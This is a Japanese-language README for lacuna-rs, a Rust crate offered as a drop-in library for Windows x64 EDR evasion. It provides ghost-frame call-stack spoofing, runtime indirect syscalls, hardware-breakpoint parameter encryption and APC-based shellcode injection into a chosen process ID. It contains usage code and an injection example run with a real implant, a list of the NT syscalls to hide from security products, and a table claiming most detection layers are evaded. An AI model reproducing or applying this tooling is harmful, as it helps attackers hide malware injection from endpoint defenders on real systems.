
Windows x64向けのRustクレート: ghost-frame call-stack spoofing、runtime indirect syscalls、APC injectionを提供。SSN resolution、JIT stub emission、VEH-based parameter encryptionを提供し、EDR evasionを実現。
Ghost-frame コールスタック偽装 + ランタイム間接システムコール for Windows x64 — Rust に移植済み。
Mohamed Alzhrani (0xmaz) による LACUNA Chain (lacuna_chain.c) からの移植。
lacuna-rs は、再利用可能な Rust クレートであり、元の C TTP と同じプリミティブを提供します。構造化されているため、任意の Rust プロジェクトにドロップインできます。wsyscall-rs や syscalls-rs と似ていますが、ランタイム SSN 解決、関数ごとの syscall;ret ターゲティング、および ghost-frame スタックスプーフィング を備えています。
stack-spoof機能は、利用側クレートがフレームポインタ付きでコンパイルされていない場合、サイレントに失敗します。
chain.rs のスタック破壊プリミティブは、mov rbp, {x} インライン asm を介して呼び出し元のリターンアドレススロットを特定します。これには RBP チェーンがそのままである必要があります。Rust(およびほとんどのリリースモードコンパイラ)はデフォルトでフレームポインタを省略します。
build.rs はこのクレート自身のコード生成に対して force-frame-pointers=yes を設定しますが、Cargo はコンパイラフラグをダウンストリームクレートに伝播できません。 自身のプロジェクトに以下を追加する必要があります:
# .cargo/config.toml (lacuna-rs 内ではなく、YOUR クレート内)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
これがないと、stomp_plant() は RBP からガベージを読み取り、最良の場合は何もせず、最悪の場合はスタックを破損します。このクレートは実行時にフレームポインタが有効かどうかを検出できません。単に動作しません。
スキャン、SSN 解決、またはインジェクションプリミティブのみが必要で(スタックスプーフィングなし)、stack-spoof 機能を省略すれば、この要件は適用されません。
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
機能が何も有効でない場合、スキャン/PE/NT レイヤーのみが利用可能です。
cargo run --example scan
cargo run --example verify --features stack-spoof
実際のインプラントを使用したインジェクション例 - C2 はオフラインだったが、シェルコードは実行された
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
--verbose を追加して VEH 診断出力(スタックダンプ、レジスタ出力)を有効にします:
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
ターゲットプロセスのすべてのスレッドに APC をキューイングする代わりに(同時に多数のスレッドが通知されるとプロセスがクラッシュする可能性がある)、inject_sapc はスコアリングアルゴリズムを使用して最適な MAX_APC_THREADS(5)個の候補を選択します:
NtQueryInformationThread(ThreadCycleTime) — 主要なアクティビティ指標NtQueryInformationThread(ThreadTimes) — カーネル + ユーザー時間NtQueryInformationThread(ThreadSuspendCount) — 非サスペンドスレッドは +300 ボーナス;サスペンドスレッドはサスペンドカウントごとに -150NtQueryInformationThread(ThreadBasicInformation) — 優先度 8-10 のスレッドは +150 ボーナス;範囲外の優先度は -100 ペナルティ完全にアイドル状態のスレッド(サイクルと CPU 時間がゼロ)はスキップされます。残りの候補はスコア(高い順、同点の場合はサイクル)でソートされ、上位 5 つに切り詰められます。
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// ゴースト領域のスキャン
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} ghost regions in ntdll", n);
// 特定の関数の SSN + syscall;ret を解決
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// SSN + 関数自身の syscall;ret アドレスを解決
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT スタブ生成: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (または build_chain が呼ばれていれば、jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret)
let stub = stub::make_stub(ssn, syscall_ret).expect("stub alloc failed");
// 対応する関数ポインタ型にキャストして呼び出し
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// ntdll/kernelbase/wow64/win32u をスキャンしてゴースト領域を探し、
// 6層の偽呼び出しスタックを構築します。G_GHOST_GADGET を設定し、
// スタブが署名付き DLL 内の JMP [RBX] を経由するようにします。
lacuna::chain::build_chain();
// VEH ハンドラの登録 (パラメータ暗号化 + チェーンガード)
let _veh = lacuna::veh::VehGuard::register().expect("VEH registration failed");
// オプション: 実行時に詳細診断を有効化
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// ゴーストフレームを配置 (リターンアドレスを署名付き DLL のゴーストで置き換え)
lacuna::chain::stomp_plant();
// syscall;ret に DR0 を設定 — VEH が境界でパラメータを XOR 復号
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// 間接スタブを通じて呼び出し — RIP は ntdll 内のカーネルエントリに到達
let _status = unsafe { open_proc(/* XOR 暗号化されたパラメータ */) };
// 保護されていない呼び出しの前に必ず解除
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
すべての API 呼び出しに完全な LACUNA 処理が必要なわけではありません。重要な原則は、EDR がインジェクションやポストエクスプロイトアクティビティとして相関させる呼び出しを隠すことです。
これらは EDR がフックして相関させる「クラウン・ジュエル」NT システムコールです:
これらのそれぞれについて:
nt::resolve(ntdll, b"NtXxx\0") で解決stub::make_stub(ssn, syscall_ret) でスタブを生成veh::pcrypt_arm(key, syscall_ret, true) で機密パラメータを XOR 暗号化chain::stomp_plant() と chain::stomp_restore() でラップnt::resolve(ntdll, b"NtXxx\0") で解決。戻り値は (SSN, syscall_ret_VA)。stub::make_stub(ssn, syscall_ret) で JIT スタブを生成。呼び出し可能な関数ポインタを返す。extern "system" fn(...) 型に core::mem::transmute でキャスト。chain::build_chain() でゴーストフレームチェーンを構築し、呼び出しの前後に chain::stomp_plant() / chain::stomp_restore() を呼び出す。veh::pcrypt_arm(key, syscall_ret, true) でパラメータ暗号化を有効にし、後に veh::pcrypt_disarm() で無効にする。lc!() でラップする必要があります。クレートはこれを強制し、VEH 診断は の背後にゲートされており、デフォルトはオフです。スタブは mov r10, rcx / mov eax, SSN / jmp [syscall;ret] シーケンスを自動的に処理します。ゴーストガジェットが登録されている場合、スタブは JMP [RBX] を経由して、二重使用実行リダイレクト + ゼロアーティファクトブリッジフレームとして機能します。
LACUNA Chain 論文 からの 9 つの主要な貢献すべてがコードに反映されています:
syscalls-rs を使わないのか?syscalls-rs と wsyscall-rs は、特定の Windows ビルドの ntdll から ビルド時の SSN テーブル を生成します。ターゲットマシンが異なるビルドを実行している場合、SSN が間違っており、システムコールは失敗するか(または EDR ヒューリスティックをトリガーします)。
lacuna-rs は ntdll のスタブを直接読み取ることで ランタイム で SSN を解決し、関数自身の syscall;ret 命令をターゲットとするため、RIP はカーネルエントリ時に ntdll 内にあります。これにより、EDR の「SSN 不一致」および「バッキングされていないメモリからの間接システムコール」ヒューリスティックを無効にします。
さらに、lacuna-rs は syscalls-rs が持たない ghost-frame スタックスプーフィング チェーンを提供します。
x86_64-pc-windows-msvc (または x86_64-pc-windows-gnu)litcrypt2 (コンパイル時文字列難読化)stack-spoof のみ)stack-spoof 機能にはフレームポインタが必要です。build.rs はこのクレート自身のコード生成に対して force-frame-pointers=yes を自動設定しますが、利用側クレート も自身の .cargo/config.toml で設定する必要があります:
# .cargo/config.toml (利用側クレート内)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
クレート内のすべての文字列リテラルと例は lc!() マクロでラップされており、コンパイル時に暗号化され、実行時に復号されます。暗号化キーは LITCRYPT_ENCRYPT_KEY 環境変数から読み取られます。設定されていない場合、litcrypt2 はランダムなキーを自動生成します。
再現可能なビルドのためにキーを固定するには:
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build
lacuna-rs/
├── Cargo.toml
├── build.rs # stack-spoof の force-frame-pointers を設定
├── src/
│ ├── lib.rs # クレートルート + 再エクスポート + scan_all() + litcrypt2 セットアップ
│ ├── win.rs # Win32/NT FFI バインディング (no_std 互換)
│ ├── pe.rs # PE セクション + エクスポート解析
│ ├── scan.rs # .pdata ゴースト領域 + ガジェットスキャン
│ ├── nt.rs # SSN 解決 + syscall;ret ターゲティング
│ ├── stub.rs # JIT 間接システムコールスタブ生成
│ ├── veh.rs # VEH + ハードウェアブレークポイントパラメータ暗号化
│ ├── chain.rs # LACUNA ghost-frame チェーン + スタンプ
│ └── inject.rs # セクションベース APC インジェクション
├── examples/
│ ├── scan.rs # lacuna.exe scan
│ ├── verify.rs # lacuna.exe verify
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + windows-msvc ターゲット
このプロジェクトは AI チャットボットの積極的な支援を受けました。私は新しい非常に能力の高いオープンソースモデル (Z.ai (Zhipu AI) の GLM-5.2) をテストする機会があり、それに挑戦的なタスクを与えたいと考えました。 学んだ教訓: 人間が結果をどうあるべきか知っている場合はうまく機能しました。そうでない場合は... ただのゴミでした。
MIT
| プリミティブ | C 関数 | Rust モジュール |
|---|
| PE セクション + エクスポート解析 | pe_section(), pe_export() | pe |
.pdata ゴースト領域スキャン | scan_ghosts(), best_ghost() | scan |
ゴーストガジェット発見 (jmp [rbx]) | scan_ghost_gadgets() | scan |
win32u NOP ギャップ検出 | win32u_nop_gap() | scan |
| BYOUD-MF アンカー検出 | find_mf_target() | scan |
| SSN 解決 (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
関数ごとの syscall;ret ロケーター | find_func_syscall() | nt |
| JIT 間接システムコールスタブ生成 | alloc_stub() | stub |
| ゴーストガジェットスタブリダイレクト | (alloc_stub() 内) | stub |
| VEH + ハードウェアブレークポイントパラメータ暗号化 | param_encrypt_veh(), pcrypt_arm() | veh |
| チェーンガード VEH | chain_veh() | veh |
| LACUNA チェーン構築 | build_chain() | chain |
| スタック破壊 (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| チェーンウォーカー(検証) | lacuna_walk_chain() | chain |
| セクションベース APC インジェクション | do_inject_sapc() | inject |
| 機能 | 説明 | フレームポインタが必要? |
|---|
syscalls (デフォルト) | SSN 解決 + JIT スタブ生成 | いいえ |
inject (デフォルト) | セクションベース APC インジェクション (inject::inject_sapc) | いいえ |
veh | VEH + ハードウェアブレークポイントパラメータ暗号化 | いいえ |
stack-spoof | LACUNA ghost-frame チェーン + スタック破壊 | はい |
no-std | no_std モード (実験的) | いいえ |
| 呼び出し | 機密性の理由 |
|---|
NtOpenProcess | 別のプロセスへのハンドルを開く — インジェクションの第一歩 |
NtCreateSection + NtMapViewOfSection (リモート) | セクションベースのインジェクションシグネチャ |
NtWriteVirtualMemory | プロセス間書き込み — 古典的なインジェクション指標 |
NtCreateThreadEx | リモートスレッド作成 — 最高シグナルのインジェクションプリミティブ |
NtQueueApcThread | APC インジェクション — 高シグナル |
NtProtectVirtualMemory | RWX 権限変更 — シェルコードステージング指標 |
NtAllocateVirtualMemory (リモート) | リモート割り当て — インジェクションの前段階 |
NtSetInformationThread | スレッド隠蔽 (HideFromDebugger) — 回避指標 |
| 呼び出し | 安全な理由 |
|---|
NtQueryInformationThread | クエリのみ、めったにフックされず、プロセス間書き込みなし |
NtDelayExecution | スリープ — 良性、すべてのアプリケーションで使用 |
NtClose | ハンドルクローズ — 良性、非常に一般的 |
GetModuleHandleA / GetProcAddress | モジュール解決 — システムコールではなく、EDR ユーザーランドフックでフック不可 |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | スレッド列挙 — kernel32、ntdll システムコールではない |
OpenThread / CloseHandle | 標準ハンドル操作 — kernel32 |
GetThreadContext / SetThreadContext | DR0 に必要 — kernel32、自己プロセスのみ |
set_verbose(true)| # | 論文の概念 | コードの場所 | 説明 |
|---|
| 1 | BYOUD-Gap (ゼロ .pdata 変更) | chain.rs — ゴーストフレームチェーン構築 | RUNTIME_FUNCTION エントリ間のギャップを悪用;アンワインダはそれらをリーフフレームとして扱う (RSP += 8) |
| 2 | ETW-Ti APC ウィンドウ攻撃 | inject.rs — NtDelayExecution アラータブルドレイン | スレッドアラータブル状態を操作することで ETW-Ti APC スタックスナップショットの発火タイミングを制御 |
| 3 | BYOUD コンテキストにおけるパラメータ暗号化 | veh.rs — pcrypt_arm(), param_encrypt_veh() | ステージング時にシステムコールパラメータを XOR 暗号化;syscall 命令でハードウェアブレークポイント VEH 内で復号 |
| 4 | Win32u NOP ギャップチェーン + ゴーストガジェット | scan.rs — win32u_nop_gap(), scan_ghost_gadgets() | win32u.dll 内の 1,242 個の NOP ギャップがホワイトリスト化されたリーフフレームを提供;ntdll+0xFC47B に JMP [RBX] ゴーストガジェット |
| 5 | kernelbase 意味的ゴースト近接性 | chain.rs — L2_kbase レイヤー、VirtualProtect 付近 | VirtualProtect のエントリポイントで終了する 238 バイトのゴースト — 実際の VP リターンサイトと区別不能 |
| 6 | BYOUD-MF (マシンフレーム RSP テレポート) | chain.rs — MachFrame 構造体、scan.rs — find_mf_target() | KiUser* ディスパッチャにおける UWOP_PUSH_MACHFRAME (opcode 10) を悪用し、単一フレームで任意の RSP テレポートを実現 |
| 7 | BYOUD-RT (ランタイム RSP 計算) | chain.rs — teb_stack_base(), teb_stack_limit() | 呼び出し時に TEB.StackBase (GS:[0x08]) を読み取って正確なフレーム距離を計算 — 事前キャリブレーション不要 |
| 8 | wow64.dll ゴースト近接性 | chain.rs — L1_wow64 レイヤー、scan.rs — Wow64PrepareForException をターゲット | Wow64PrepareForException エントリで終了する 91 バイトのゴースト — チェーンの 4 番目の意味的レイヤー |
| 9 | 6 層 LACUNA チェーン | chain.rs — LacunaStack 構造体 (L1-L5 + MachFrame) | 完全なチェーン: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart |
| 検出レイヤー | ステータス | 実装 |
|---|
| 出身モジュールのチェック | 回避 | すべてのフレームが ntdll / kernelbase / wow64 / win32u 内 |
| アンワインドウォークの正確性 | 回避 | すべての lacuna フレームはリーフ -> 有効な RSP+8 |
.pdata フォレンジックスキャン | 回避 | 変更ゼロ;ギャップは既存 |
| CET シャドウスタック | 回避 | 純リーフチェーン;シャドウスタックは参照されない |
| 意味的フレーム分析 | 回避 | WoW64 例外 + VirtualProtect 隣接性 |
| Win32u ルール免除 | 回避 | レイヤー 4 はすべてのルールで明示的に除外 |
| ETW-Ti STACKWALK | 回避 | APC ウィンドウ攻撃でスナップショットタイミングを制御 |
| パラメータ検査 | 回避 | HW ブレークポイント VEH 復号 |
| カーネルコールバック | 一部 | ハンドル操作は依然として ObRegisterCallbacks を発生させる |